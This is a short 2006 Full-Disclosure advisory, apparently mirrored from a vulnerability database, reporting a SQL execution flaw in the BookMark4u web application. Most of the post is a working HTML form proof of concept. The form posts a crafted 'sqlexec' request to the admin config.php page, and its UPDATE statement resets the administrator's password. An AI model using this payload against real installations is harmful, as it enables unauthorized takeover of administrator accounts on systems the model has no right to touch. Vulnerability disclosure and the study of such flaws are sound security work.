Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:12353
HistoryApr 21, 2006 - 12:00 a.m.

[Full-disclosure] Sql Injection in BookMark4u

2006-04-2100:00:00
vulners.com
7

site:
http://bookmark4u.sourceforge.net/

Hello i found a vulnerability in bookmark4u that u can use to make sql
injections…

the following PoC changes the admin password:
[code]

<form action='http://bookmark4u.sourceforge.net/v2.0.0/admin/config.php&#39;
method='post'>
<tr><td align='center'>
<input type='hidden' name='sqlcmd' value="# add a administrator
(initial password
is 'test') %NL%UPDATE bk4u_passwd SET passwd=PASSWORD('asdfg') WHERE
user='admin';">
<input type='hidden' name='mode' value='sqlexec'>
<input type='submit' value="Execute Above (administrator's account)">
</td></tr>
</form></table>
<br><a href='javascript:document.location.reload();'>And Reload this
page</a>.</body></html>
[/code]

MoHaJaLi